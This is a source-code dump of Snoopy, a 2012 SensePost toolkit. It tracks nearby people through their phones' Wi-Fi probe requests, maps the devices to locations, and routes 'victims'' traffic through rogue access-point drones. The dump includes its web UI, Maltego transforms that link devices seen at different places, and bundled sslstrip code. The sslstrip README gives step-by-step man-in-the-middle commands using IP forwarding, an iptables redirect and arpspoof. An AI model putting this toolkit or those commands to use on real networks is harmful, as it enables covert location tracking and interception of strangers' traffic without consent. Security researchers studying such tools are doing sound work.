/snoopy/server/bin/snoopy/src/snoopy/static/js/snoopy-login.js: -------------------------------------------------------------------------------- 1 | $(document).ready(function() { 2 | $('input[type="text"]').toggleInputValue(); 3 | 4 | $('form').submit(function(ev) { 5 | f = $(ev.target); 6 | user = f.find('input[name="username"]').val(); 7 | pass = f.find('input[name="password"]').val(); 8 | if (!user || user == 'username' || !pass) { 9 | alert('Invalid login'); 10 | return false; 11 | } 12 | $('#flashmsg').text('Logging in...'); 13 | $.post('/login', { username: user, password: pass }) 14 | .success(function() { 15 | $('#flashmsg').text('Login successful.'); 16 | window.setTimeout(function() { window.location = '/'; }, 1000); 17 | }) 18 | .error(function() { 19 | $('#flashmsg').text('Login failed :('); 20 | }); 21 | return false; 22 | }); 23 | }); 24 | -------------------------------------------------------------------------------- /snoopy/server/bin/snoopy/src/snoopy/templates/login.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | Snoopy - Login 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 |
14 |
15 | 16 | 17 | 18 |
19 | 20 | 21 | -------------------------------------------------------------------------------- /LICENSE.txt: -------------------------------------------------------------------------------- 1 | Copyright (C) 2012 SensePost Information Security 2 | 3 | Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: 4 | 5 | The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. 6 | 7 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. 8 | -------------------------------------------------------------------------------- /snoopy/server/transforms/summary.py: -------------------------------------------------------------------------------- 1 | import stawk_db 2 | import datetime 3 | 4 | cursor=stawk_db.dbconnect() 5 | drones=[] 6 | 7 | day='2012-08-24 ' 8 | 9 | st=day+'00:00:00' 10 | fi=day+'23:59:59' 11 | cursor.execute("SELECT monitor_id,min(timestamp),max(timestamp) FROM probes WHERE timestamp > %s AND timestamp <%s GROUP BY monitor_id", (st,fi)) 12 | 13 | for r in cursor.fetchall(): 14 | drones.append((r[0],r[1],r[2])) 15 | 16 | for d in drones: 17 | drone_id = d[0] 18 | print drone_id 19 | fp,lp=d[1],d[2] 20 | fp=fp - datetime.timedelta(minutes=fp.minute, seconds=fp.second) 21 | lp=lp - datetime.timedelta(minutes=(lp.minute-60), seconds=lp.second) 22 | 23 | hours=(((lp-fp)).seconds)/3600 24 | for h in range(hours): 25 | frm=fp + datetime.timedelta(hours=h) 26 | to=fp + datetime.timedelta(hours=h+1) 27 | 28 | cursor.execute("SELECT COUNT( DISTINCT (device_mac)) FROM probes where timestamp > %s AND timestamp < %s AND monitor_id=%s",(frm,to,drone_id)) 29 | count=int(cursor.fetchone()[0]) 30 | print "%s to %s = %d" %(frm.strftime("%H:%M"),to.strftime("%H:%M"),count) 31 | -------------------------------------------------------------------------------- /snoopy/server/bin/snoopy/src/snoopy/plugins/wigle.py: -------------------------------------------------------------------------------- 1 | # -*- coding: utf-8 -*- 2 | 3 | from snoopy import db, pluginregistry 4 | 5 | 6 | @pluginregistry.add('client-data', 'wigle', 'Wigle', js='/static/js/wigle.js') 7 | def wigle(mac): 8 | results = [] 9 | with db.SessionCtx() as session: 10 | query = session.query(db.Probe, db.Wigle).\ 11 | filter( 12 | db.Probe.device_mac == mac, 13 | db.Probe.probe_ssid == db.Wigle.ssid 14 | ).\ 15 | group_by(db.Probe.device_mac, db.Probe.probe_ssid).\ 16 | order_by(db.Probe.timestamp) 17 | for probe_row, wigle_row in query: 18 | if wigle_row.gps_long is None or wigle_row.gps_lat is None: 19 | continue 20 | ssid = wigle_row.ssid 21 | if not ssid: 22 | ssid = '[unknown]' 23 | results.append({ 24 | 'long': float(wigle_row.gps_long), 25 | 'lat': float(wigle_row.gps_lat), 26 | 'ssid': wigle_row.ssid, 27 | 'timestamp': str(probe_row.timestamp) 28 | }) 29 | return results 30 | -------------------------------------------------------------------------------- /snoopy/server/bin/snoopy/src/snoopy/plugins/wifi.py: -------------------------------------------------------------------------------- 1 | # -*- coding: utf-8 -*- 2 | 3 | from snoopy import db, pluginregistry 4 | 5 | 6 | @pluginregistry.add('client-data', 'ssids', 'SSIDs', js='/static/js/ssidlist.js') 7 | def ssid_list(mac): 8 | with db.SessionCtx() as session: 9 | query = session.query( 10 | # SELECT probe_ssid, proximity_session FROM probes 11 | db.Probe.probe_ssid, db.Probe.proximity_session 12 | ).filter_by( 13 | # WHERE device_mac=$mac 14 | device_mac=mac 15 | ).group_by( 16 | # GROUP BY proximity_session, probe_ssid 17 | db.Probe.proximity_session, db.Probe.probe_ssid 18 | ).order_by( 19 | # ORDER BY probe_ssid 20 | db.Probe.probe_ssid 21 | ) 22 | 23 | results = {} 24 | for ssid, prox_sess in query.all(): 25 | if not ssid: 26 | ssid = '[blank ssid]' 27 | if not ssid or not prox_sess: 28 | continue 29 | if ssid not in results: 30 | results[ssid] = [] 31 | if prox_sess not in results[ssid]: 32 | results[ssid].append(prox_sess) 33 | return results 34 | -------------------------------------------------------------------------------- /snoopy/server/bin/snoopy/src/snoopy/plugins/gpsmovs.py: -------------------------------------------------------------------------------- 1 | # -*- coding: utf-8 -*- 2 | 3 | from snoopy import db, pluginregistry 4 | 5 | 6 | @pluginregistry.add('client-data', 'gpsmovs', 'GPS Movements', js='/static/js/gpsmovs.js') 7 | def gps_movements(mac): 8 | results = {} 9 | with db.SessionCtx() as session: 10 | query = session.query(db.Probe, db.GpsMovement).\ 11 | filter( 12 | db.Probe.device_mac == mac, 13 | db.Probe.monitor == db.GpsMovement.monitor, 14 | db.GpsMovement.timestamp >= db.Probe.timestamp-5, 15 | db.GpsMovement.timestamp <= db.Probe.timestamp+5, 16 | ).\ 17 | order_by(db.GpsMovement.run_id, db.GpsMovement.timestamp) 18 | for probe_row, gpsmov_row in query: 19 | if gpsmov_row.run_id not in results: 20 | results[gpsmov_row.run_id] = [] 21 | results[gpsmov_row.run_id].append({ 22 | 'long': float(gpsmov_row.gps_long), 23 | 'lat': float(gpsmov_row.gps_lat), 24 | 'accuracy': float(gpsmov_row.accuracy), 25 | 'timestamp': str(gpsmov_row.timestamp) 26 | }) 27 | return results 28 | -------------------------------------------------------------------------------- /snoopy/server/bin/sslstripSnoopy/README: -------------------------------------------------------------------------------- 1 | sslstrip is a MITM tool that implements Moxie Marlinspike's SSL stripping 2 | attacks. 3 | 4 | It requires Python 2.5 or newer, along with the 'twisted' python module. 5 | 6 | Installing: 7 | * Unpack: tar zxvf sslstrip-0.5.tar.gz 8 | * Install twisted: sudo apt-get install python-twisted-web 9 | * (Optionally) run 'python setup.py install' as root to install, 10 | or you can just run it out of the directory. 11 | 12 | Running: 13 | sslstrip can be run from the source base without installation. 14 | Just run 'python sslstrip.py -h' as a non-root user to get the 15 | command-line options. 16 | 17 | The four steps to getting this working (assuming you're running Linux) 18 | are: 19 | 20 | 1) Flip your machine into forwarding mode (as root): 21 | echo "1" > /proc/sys/net/ipv4/ip_forward 22 | 23 | 2) Setup iptables to intercept HTTP requests (as root): 24 | iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 25 | 26 | 3) Run sslstrip with the command-line options you'd like (see above). 27 | 28 | 4) Run arpspoof to redirect traffic to your machine (as root): 29 | arpspoof -i -t 30 | 31 | More Info: 32 | http://www.thoughtcrime.org/software/sslstrip/ 33 | -------------------------------------------------------------------------------- /snoopy/server/bin/sslstripSnoopy/sslstrip/StrippingProxy.py: -------------------------------------------------------------------------------- 1 | # Copyright (c) 2004-2009 Moxie Marlinspike 2 | # 3 | # This program is free software; you can redistribute it and/or 4 | # modify it under the terms of the GNU General Public License as 5 | # published by the Free Software Foundation; either version 3 of the 6 | # License, or (at your option) any later version. 7 | # 8 | # This program is distributed in the hope that it will be useful, but 9 | # WITHOUT ANY WARRANTY; without even the implied warranty of 10 | # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU 11 | # General Public License for more details. 12 | # 13 | # You should have received a copy of the GNU General Public License 14 | # along with this program; if not, write to the Free Software 15 | # Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 16 | # USA 17 | # 18 | 19 | from twisted.web.http import HTTPChannel 20 | from ClientRequest import ClientRequest 21 | 22 | class StrippingProxy(HTTPChannel): 23 | '''sslstrip is, at heart, a transparent proxy server that does some unusual things. 24 | This is the basic proxy server class, where we get callbacks for GET and POST methods. 25 | We then proxy these out using HTTP or HTTPS depending on what information we have about 26 | the (connection, client_address) tuple in our cache. 27 | ''' 28 | 29 | requestFactory = ClientRequest 30 | -------------------------------------------------------------------------------- /snoopy/server/bin/sslstripSnoopy/build/lib.linux-i686-2.7/sslstrip/StrippingProxy.py: -------------------------------------------------------------------------------- 1 | # Copyright (c) 2004-2009 Moxie Marlinspike 2 | # 3 | # This program is free software; you can redistribute it and/or 4 | # modify it under the terms of the GNU General Public License as 5 | # published by the Free Software Foundation; either version 3 of the 6 | # License, or (at your option) any later version. 7 | # 8 | # This program is distributed in the hope that it will be useful, but 9 | # WITHOUT ANY WARRANTY; without even the implied warranty of 10 | # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU 11 | # General Public License for more details. 12 | # 13 | # You should have received a copy of the GNU General Public License 14 | # along with this program; if not, write to the Free Software 15 | # Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 16 | # USA 17 | # 18 | 19 | from twisted.web.http import HTTPChannel 20 | from ClientRequest import ClientRequest 21 | 22 | class StrippingProxy(HTTPChannel): 23 | '''sslstrip is, at heart, a transparent proxy server that does some unusual things. 24 | This is the basic proxy server class, where we get callbacks for GET and POST methods. 25 | We then proxy these out using HTTP or HTTPS depending on what information we have about 26 | the (connection, client_address) tuple in our cache. 27 | ''' 28 | 29 | requestFactory = ClientRequest 30 | -------------------------------------------------------------------------------- /snoopy/server/bin/process_probe_pcaps.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | # glenn@sensepost.com 3 | # Snoopy // 2012 4 | # By using this code you agree to abide by the supplied LICENSE.txt 5 | 6 | # This script will parse pcap files, ready to be inserted into our db. 7 | 8 | mkdir $device_id 9 | echo -n "" > ./$device_id/probe_data.txt 10 | 11 | for filename in `find ./new_pcaps/ -name probeRequests_*.cap` 12 | do 13 | device_id=$(cat ./new_pcaps/device_id.txt) 14 | location=$(echo $filename | sed 's/.*probeRequests_\(.*\)_.*/\1/') 15 | date=$(echo $filename| sed 's/.*_\(.*\)\.cap/\1/') 16 | run_id=$(perl -e "use Time::Piece; print Time::Piece->strptime('$date','%F-%k%M%S')->epoch;") 17 | run_id=$run_id"_"$RANDOM 18 | 19 | if [ -z "$run_id" ] || [ -z "$date" ] || [ -z "$location" ] || [ -z "$device_id" ] 20 | then 21 | echo "Error - could not determine all variables. Do you have a device_id.txt file containing your\n device's unique ID, and is the filename of the format probeRequests__.cap" 22 | exit 23 | fi 24 | 25 | mkdir $device_id 26 | 27 | tshark -r $filename -R 'wlan.fc.type_subtype eq 4' -T fields -e wlan.sa -e wlan_mgt.ssid -e radiotap.dbm_antsignal -e frame.time -E separator=, -E quote=d | sed -u "s/^/\"$device_id\",\"$run_id\",\"$location\",/" >> ./$device_id/probe_data.txt 28 | mv $filename ./old_pcaps/ 29 | done 30 | 31 | 32 | num_probes=$(wc -l probe_data.txt) 33 | echo Done. Extracted $num_probes probes... 34 | -------------------------------------------------------------------------------- /snoopy/client/setup_linux.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | # glenn@sensepost.com 3 | # Snoopy // 2012 4 | # By using this code you agree to abide by the supplied LICENSE.txt 5 | 6 | 7 | echo "+-----------------------------------------------------------------------+ 8 | + SensePost Information Security + 9 | + Snoopy Drone Installer + 10 | + http://www.sensepost.com/labs / research@sensepost.com + 11 | +-----------------------------------------------------------------------+ 12 | 13 | +-----------------------------------------------------------------------+ 14 | + This script has been tested on a BackTrack5 installation. I'll try + 15 | + install the following packages anway: + 16 | + -dnsmasq, tshark, openvpn, rsync, netcat, macchanger + 17 | +-----------------------------------------------------------------------+ 18 | " 19 | 20 | #Set current path in config 21 | sd=$(cd $(dirname "$0"); pwd) 22 | 23 | apt-get install -y dnsmasq 24 | apt-get install -y tshark 25 | apt-get install -y openvpn 26 | apt-get install -y rsync 27 | apt-get install -y netcat 28 | apt-get install -y macchanger 29 | 30 | /etc/init.d/ssh start 31 | 32 | cat > /usr/bin/snoopy << EOL 33 | #!/bin/bash 34 | $sd/snoopy.sh 35 | EOL 36 | chmod +x /usr/bin/snoopy 37 | 38 | echo "+-----------------------------------------------------------------------------+" 39 | echo "+ Done. Run 'snoopy' now. +" 40 | echo "+-----------------------------------------------------------------------------+" 41 | 42 | 43 | -------------------------------------------------------------------------------- /snoopy/server/setup/sn.txt: -------------------------------------------------------------------------------- 1 | +---------------------------------------------------------------+ 2 | | SensePost Snoopy // 2012 | 3 | | | 4 | | __---__ ______ | 5 | | / ___\_ o O O _( )__ | 6 | | /====(_____\___---_ o _( )_ | 7 | | | \ (_ Hack the ) | 8 | | | |@ (_ Planet! _)| 9 | | \ ___ / (__ __) | 10 | | \ __----____--_\____(____\_____/ (______) | 11 | | ==|__----____--______| | 12 | | / / \____/)_ | 13 | | / ______) | 14 | | / | | | 15 | | | _| | | 16 | | ______\______________|______ | 17 | | / * * \ | 18 | | /_____________*____*___________\ | 19 | | / * * \ | 20 | | /________________________________\ | 21 | | / * \ | 22 | | /__________________________________\ | 23 | | | | | 24 | | |________________________| | 25 | | | | | 26 | | |________________________| | 27 | | | 28 | | http://www.sensepost.com/labs | 29 | | research@sensepost.com | 30 | +---------------------------------------------------------------+ 31 | -------------------------------------------------------------------------------- /snoopy/server/bin/snoopy/src/snoopy/templates/main.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | Snoopy 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | 14 | 15 |
16 |
17 | 18 | 19 | 20 |
21 |
22 | 23 |
24 |
25 | 26 | 27 |
28 | 29 |
30 |
31 | 32 |
33 |
34 |
35 | 36 | 37 | -------------------------------------------------------------------------------- /snoopy/server/bin/sslstripSnoopy/setup.py: -------------------------------------------------------------------------------- 1 | import sys, os, shutil 2 | from distutils.core import setup, Extension 3 | 4 | 5 | shutil.copyfile("sslstrip.py", "sslstrip/sslstrip") 6 | 7 | setup (name = 'sslstrip', 8 | version = '0.9', 9 | description = 'A MITM tool that implements Moxie Marlinspike\'s HTTPS stripping attacks.', 10 | author = 'Moxie Marlinspike', 11 | author_email = 'moxie@thoughtcrime.org', 12 | url = 'http://www.thoughtcrime.org/software/sslstrip/', 13 | license = 'GPL', 14 | packages = ["sslstrip"], 15 | package_dir = {'sslstrip' : 'sslstrip/'}, 16 | scripts = ['sslstrip/sslstrip'], 17 | data_files = [('share/sslstrip', ['README', 'COPYING', 'lock.ico'])], 18 | ) 19 | 20 | print "Cleaning up..." 21 | try: 22 | removeall("build/") 23 | os.rmdir("build/") 24 | except: 25 | pass 26 | 27 | try: 28 | os.remove("sslstrip/sslstrip") 29 | except: 30 | pass 31 | 32 | def capture(cmd): 33 | return os.popen(cmd).read().strip() 34 | 35 | def removeall(path): 36 | if not os.path.isdir(path): 37 | return 38 | 39 | files=os.listdir(path) 40 | 41 | for x in files: 42 | fullpath=os.path.join(path, x) 43 | if os.path.isfile(fullpath): 44 | f=os.remove 45 | rmgeneric(fullpath, f) 46 | elif os.path.isdir(fullpath): 47 | removeall(fullpath) 48 | f=os.rmdir 49 | rmgeneric(fullpath, f) 50 | 51 | def rmgeneric(path, __func__): 52 | try: 53 | __func__(path) 54 | except OSError, (errno, strerror): 55 | pass 56 | -------------------------------------------------------------------------------- /snoopy/server/bin/snoopy/src/snoopy/static/js/wigle.js: -------------------------------------------------------------------------------- 1 | Snoopy.registerPlugin('wigle', function(section, clData) { 2 | if (!Snoopy.util.loadGoogleMaps()) { 3 | console.error('Google Maps not (yet) loaded'); 4 | return; 5 | } 6 | 7 | if (!clData.length) { 8 | console.debug('No Wigle data received.'); 9 | return; 10 | } 11 | 12 | var $map = $(document.createElement('div')) 13 | .attr('id', 'wigle_map') 14 | .css({ width: '425px', height: '350px', border: '1px solid #abbce6' }), 15 | mapId='wigle_' + $('.cwin-title', section.parent().parent()).text(), 16 | markers=[], avg_long=0.0, avg_lat=0.0, 17 | coords, map, i; 18 | 19 | for (i=0; i < clData.length; i++) { 20 | coords = clData[i]; 21 | console.debug(coords.lat + ', ' + coords.long + '(' + coords.ssid + ')'); 22 | markers.push(new google.maps.Marker({ 23 | title: coords.ssid + ' (' + Snoopy.util.dateFormat(coords.timestamp) + ')', 24 | position: new google.maps.LatLng(coords.lat, coords.long) 25 | })); 26 | avg_lat += coords.lat; 27 | avg_long += coords.long; 28 | } 29 | 30 | avg_lat /= clData.length; 31 | avg_long /= clData.length; 32 | 33 | map = new google.maps.Map($map[0], { 34 | zoom: 6, mapTypeId: google.maps.MapTypeId.ROADMAP, 35 | center: new google.maps.LatLng(avg_lat, avg_long), 36 | }); 37 | 38 | for (var i=0; i < markers.length; i++) { 39 | markers[i].setMap(map); 40 | } 41 | 42 | $('.section-content', section).append($map); 43 | }); 44 | -------------------------------------------------------------------------------- /snoopy/server/transforms/fetchUAsFromClient.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python 2 | # -*- coding: utf-8 -*- 3 | # glenn@sensepost.com 4 | # Snoopy // 2012 5 | # By using this code you agree to abide by the supplied LICENSE.txt 6 | 7 | import sys 8 | import os 9 | from Maltego import * 10 | import stawk_db 11 | import logging 12 | import datetime 13 | 14 | logging.basicConfig(level=logging.DEBUG,filename='/tmp/maltego_logs.txt',format='%(asctime)s %(levelname)s: %(message)s',datefmt='%Y-%m-%d %H:%M:%S') 15 | 16 | sys.stderr = sys.stdout 17 | 18 | def main(): 19 | 20 | print "Content-type: xml\n\n"; 21 | MaltegoXML_in = sys.stdin.read() 22 | if MaltegoXML_in <> '': 23 | m = MaltegoMsg(MaltegoXML_in) 24 | 25 | cursor=stawk_db.dbconnect() 26 | TRX = MaltegoTransform() 27 | 28 | 29 | try: 30 | if 'mac' in m.AdditionalFields: 31 | mac=m.AdditionalFields['mac'] 32 | 33 | logging.debug(mac) 34 | 35 | cursor.execute("SELECT DISTINCT ua FROM squid_logs,dhcp_leases WHERE squid_logs.client_ip=dhcp_leases.ip AND dhcp_leases.mac=%s", (mac)) 36 | results=cursor.fetchall() 37 | 38 | 39 | for row in results: 40 | ua=row[0].encode('utf8','xmlcharrefreplace') 41 | NewEnt=TRX.addEntity("snoopy.useragent", ua); 42 | 43 | # NewEnt.addAdditionalFields("start_time","Start time", "strict", start_time) 44 | # NewEnt.addAdditionalFields("end_time","End time", "strict", end_time) 45 | 46 | except Exception, e: 47 | logging.debug("Exception:") 48 | logging.debug(e) 49 | 50 | 51 | TRX.returnOutput() 52 | 53 | main() 54 | 55 | -------------------------------------------------------------------------------- /snoopy/server/setup/network_diagram.txt: -------------------------------------------------------------------------------- 1 | ## This is the Snoopy architecutre diagram 2 | ## Victims traffic is foward via drones to the Server, meaning on the server 3 | ## we can isolate traffic per individual Victim IP. 4 | ## I chose to use a TAP interface such that if desired we could route layer 2 5 | ## traffic through the server. 6 | 7 | ## glenn@sensepost.com 8 | 9 | 10 | Victim1 Drone1 Server 11 | +----------+ +-----------------------+ +-----------------------+ 12 | | wlan0-|<---WiFi--->|-at0 | | eth0| 13 | | | | | 10.2.0.1 | | 1.2.3.45| 14 | | dhclient | | | | | | 15 | | | | | tap0-|<------openvpn-------->|-tap0 | 16 | +----------+ | | 192.168.42.2 | +-----/ | 192.168.42.1 | 17 | (10.2.0.2)* | +-----------------------+ | +-----------------------+ 18 | | | 19 | | | ip route add 10.2.0.0 via 192.168.42.2 20 | | | ip route add 10.3.0.0 via 192.168.42.3 21 | Victim2 | | 22 | +----------+ | | 23 | | wlan0-|<---+ | 24 | | | | 25 | | dhclient | | 26 | | | | 27 | +----------+ | 28 | (10.2.0.3)* | 29 | | 30 | | 31 | | 32 | Victim3 Drone2 | 33 | +----------+ +-----------------------+ | 34 | | wlan0-|<---WiFi--->|-at0 | | 35 | | | | | 10.3.0.1 | | 36 | | dhclient | | | | | 37 | | | | | tap0-|<---openvpn----+ 38 | +----------+ | | 192.168.42.3 | 39 | (10.3.0.2)* | +-----------------------+ 40 | | 41 | | 42 | | 43 | Victim4 | 44 | +----------+ | 45 | | wlan0-|<---+ 46 | | | 47 | | dhclient | 48 | | | 49 | +----------+ 50 | (10.3.0.3)* 51 | -------------------------------------------------------------------------------- /snoopy/server/transforms/vegas44con.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python 2 | # -*- coding: utf-8 -*- 3 | # glenn@sensepost.com 4 | # Snoopy // 2012 5 | # By using this code you agree to abide by the supplied LICENSE.txt 6 | 7 | import sys 8 | import os 9 | from Maltego import * 10 | import stawk_db 11 | import logging 12 | import datetime 13 | 14 | logging.basicConfig(level=logging.DEBUG,filename='/tmp/maltego_logs.txt',format='%(asctime)s %(levelname)s: %(message)s',datefmt='%Y-%m-%d %H:%M:%S') 15 | 16 | sys.stderr = sys.stdout 17 | 18 | def main(): 19 | 20 | print "Content-type: xml\n\n"; 21 | MaltegoXML_in = sys.stdin.read() 22 | if MaltegoXML_in <> '': 23 | m = MaltegoMsg(MaltegoXML_in) 24 | 25 | cursor=stawk_db.dbconnect() 26 | TRX = MaltegoTransform() 27 | 28 | # logging.debug(m.AdditionalFields['end_time']) 29 | 30 | 31 | #cursor.execute("SELECT DISTINCT device_mac,vendor_short FROM probes,mac_vendor WHERE SUBSTRING(device_mac,1,6) = mac AND timestamp > %s AND timestamp < %s LIMIT 100", (start_time,end_time)) 32 | cursor.execute("SELECT DISTINCT(t1.device_mac),t1.location,t1.monitor_id FROM probes t1 INNER JOIN probes t2 ON t1.device_mac = t2.device_mac WHERE t1.location LIKE 'vegas%' AND t2.location = '44con'") 33 | results=cursor.fetchall() 34 | logging.debug("Observed %d clients" %len(results)) 35 | 36 | try: 37 | 38 | for row in results: 39 | mac=row[0] 40 | NewEnt=TRX.addEntity("snoopy.Client", mac); 41 | NewEnt.addAdditionalFields("mac","mac address", "strict",row[0]) 42 | # NewEnt.addAdditionalFields("start_time", "start_time", "strict",start_time) 43 | # NewEnt.addAdditionalFields("end_time","end_time", "strict",end_time) 44 | 45 | except Exception, e: 46 | logging.debug("Exception from fetchClients.py:") 47 | logging.debug(e) 48 | 49 | 50 | TRX.returnOutput() 51 | 52 | main() 53 | 54 | -------------------------------------------------------------------------------- /snoopy/server/bin/sslstripSnoopy/sslstrip/ServerConnectionFactory.py: -------------------------------------------------------------------------------- 1 | # Copyright (c) 2004-2009 Moxie Marlinspike 2 | # 3 | # This program is free software; you can redistribute it and/or 4 | # modify it under the terms of the GNU General Public License as 5 | # published by the Free Software Foundation; either version 3 of the 6 | # License, or (at your option) any later version. 7 | # 8 | # This program is distributed in the hope that it will be useful, but 9 | # WITHOUT ANY WARRANTY; without even the implied warranty of 10 | # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU 11 | # General Public License for more details. 12 | # 13 | # You should have received a copy of the GNU General Public License 14 | # along with this program; if not, write to the Free Software 15 | # Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 16 | # USA 17 | # 18 | 19 | import logging 20 | from twisted.internet.protocol import ClientFactory 21 | 22 | class ServerConnectionFactory(ClientFactory): 23 | 24 | def __init__(self, command, uri, postData, headers, client): 25 | self.command = command 26 | self.uri = uri 27 | self.postData = postData 28 | self.headers = headers 29 | self.client = client 30 | 31 | def buildProtocol(self, addr): 32 | return self.protocol(self.command, self.uri, self.postData, self.headers, self.client) 33 | 34 | def clientConnectionFailed(self, connector, reason): 35 | logging.debug("Client:%s Server connection failed." % (self.client.getClientIP())) 36 | 37 | destination = connector.getDestination() 38 | 39 | if (destination.port != 443): 40 | logging.debug("Client:%s Retrying via SSL" % (self.client.getClientIP())) 41 | self.client.proxyViaSSL(self.headers['host'], self.command, self.uri, self.postData, self.headers, 443) 42 | else: 43 | self.client.finish() 44 | 45 | -------------------------------------------------------------------------------- /snoopy/server/bin/sslstripSnoopy/build/lib.linux-i686-2.7/sslstrip/ServerConnectionFactory.py: -------------------------------------------------------------------------------- 1 | # Copyright (c) 2004-2009 Moxie Marlinspike 2 | # 3 | # This program is free software; you can redistribute it and/or 4 | # modify it under the terms of the GNU General Public License as 5 | # published by the Free Software Foundation; either version 3 of the 6 | # License, or (at your option) any later version. 7 | # 8 | # This program is distributed in the hope that it will be useful, but 9 | # WITHOUT ANY WARRANTY; without even the implied warranty of 10 | # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU 11 | # General Public License for more details. 12 | # 13 | # You should have received a copy of the GNU General Public License 14 | # along with this program; if not, write to the Free Software 15 | # Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 16 | # USA 17 | # 18 | 19 | import logging 20 | from twisted.internet.protocol import ClientFactory 21 | 22 | class ServerConnectionFactory(ClientFactory): 23 | 24 | def __init__(self, command, uri, postData, headers, client): 25 | self.command = command 26 | self.uri = uri 27 | self.postData = postData 28 | self.headers = headers 29 | self.client = client 30 | 31 | def buildProtocol(self, addr): 32 | return self.protocol(self.command, self.uri, self.postData, self.headers, self.client) 33 | 34 | def clientConnectionFailed(self, connector, reason): 35 | logging.debug("Client:%s Server connection failed." % (self.client.getClientIP())) 36 | 37 | destination = connector.getDestination() 38 | 39 | if (destination.port != 443): 40 | logging.debug("Client:%s Retrying via SSL" % (self.client.getClientIP())) 41 | self.client.proxyViaSSL(self.headers['host'], self.command, self.uri, self.postData, self.headers, 443) 42 | else: 43 | self.client.finish() 44 | 45 | -------------------------------------------------------------------------------- /snoopy/server/transforms/fetchSSIDs.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python 2 | # -*- coding: utf-8 -*- 3 | # glenn@sensepost.com 4 | # Snoopy // 2012 5 | # By using this code you agree to abide by the supplied LICENSE.txt 6 | 7 | import sys 8 | import os 9 | from Maltego import * 10 | import stawk_db 11 | import logging 12 | import datetime 13 | from xml.sax.saxutils import escape 14 | 15 | logging.basicConfig(level=logging.DEBUG,filename='/tmp/maltego_logs.txt',format='%(asctime)s %(levelname)s: %(message)s',datefmt='%Y-%m-%d %H:%M:%S') 16 | 17 | sys.stderr = sys.stdout 18 | 19 | def main(): 20 | 21 | print "Content-type: xml\n\n"; 22 | MaltegoXML_in = sys.stdin.read() 23 | if MaltegoXML_in <> '': 24 | m = MaltegoMsg(MaltegoXML_in) 25 | 26 | cursor=stawk_db.dbconnect() 27 | TRX = MaltegoTransform() 28 | 29 | #logging.debug(MaltegoXML_in) 30 | try: 31 | mac,drone='%','%' 32 | if 'mac' in m.AdditionalFields: 33 | mac=m.AdditionalFields['mac'] 34 | if 'drone' in m.AdditionalFields: 35 | drone=m.AdditionalFields['drone'] 36 | 37 | logging.debug(mac) 38 | logging.debug(drone) 39 | # cursor.execute("SELECT DISTINCT probe_ssid FROM probes WHERE probe_ssid NOT LIKE '%\\\\\\%' AND device_mac=%s", (mac)) 40 | cursor.execute("SELECT DISTINCT probe_ssid FROM probes WHERE device_mac=%s", (mac)) 41 | results=cursor.fetchall() 42 | 43 | 44 | for row in results: 45 | ssid=escape(row[0]) 46 | #ssid=(row[0]).encode('ascii','xmlcharrefreplace') 47 | if ssid != '': 48 | logging.debug(ssid) 49 | NewEnt=TRX.addEntity("snoopy.SSID", ssid); 50 | 51 | # NewEnt.addAdditionalFields("start_time","Start time", "strict", start_time) 52 | # NewEnt.addAdditionalFields("end_time","End time", "strict", end_time) 53 | 54 | except Exception, e: 55 | logging.debug("Exception:") 56 | logging.debug(e) 57 | 58 | 59 | TRX.returnOutput() 60 | 61 | try: 62 | main() 63 | except Exception, e: 64 | logging.debug("Exception:") 65 | logging.debug(e) 66 | -------------------------------------------------------------------------------- /snoopy/server/transforms/testPy.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python 2 | import sys 3 | import os 4 | from Maltego import * 5 | 6 | sys.stderr = sys.stdout 7 | 8 | def main(): 9 | 10 | print "Content-type: xml\n\n"; 11 | MaltegoXML_in = sys.stdin.read() 12 | if MaltegoXML_in <> '': 13 | m = MaltegoMsg(MaltegoXML_in) 14 | 15 | # Shows inputs in client as error message 16 | # Enable debug on this transform in TDS to see 17 | # Comment this section to run the transform 18 | # print 'Type='+ m.Type +' Value='+ m.Value + ' Weight=' + m.Weight + ' Limit=' + m.Slider 19 | # print '\nAdditional fields:' 20 | # for item in m.AdditionalFields.keys(): 21 | # print 'N:'+item+' V:'+m.AdditionalFields[item] 22 | 23 | # print "\nTransform settings:" 24 | # for item in m.TransformSettings.keys(): 25 | # print "N:"+item+" V:"+m.TransformSettings[item] 26 | 27 | # print "\n\nXML received: \n" + MaltegoXML_in 28 | # Comment up to here.. 29 | 30 | 31 | 32 | 33 | # Start writing your transform here! 34 | # This one works on Person Entity as input 35 | # Swaps firstname and lastname, weight of 99, adds age field 36 | # Needs'Age' and 'ImageURL' transform settings 37 | 38 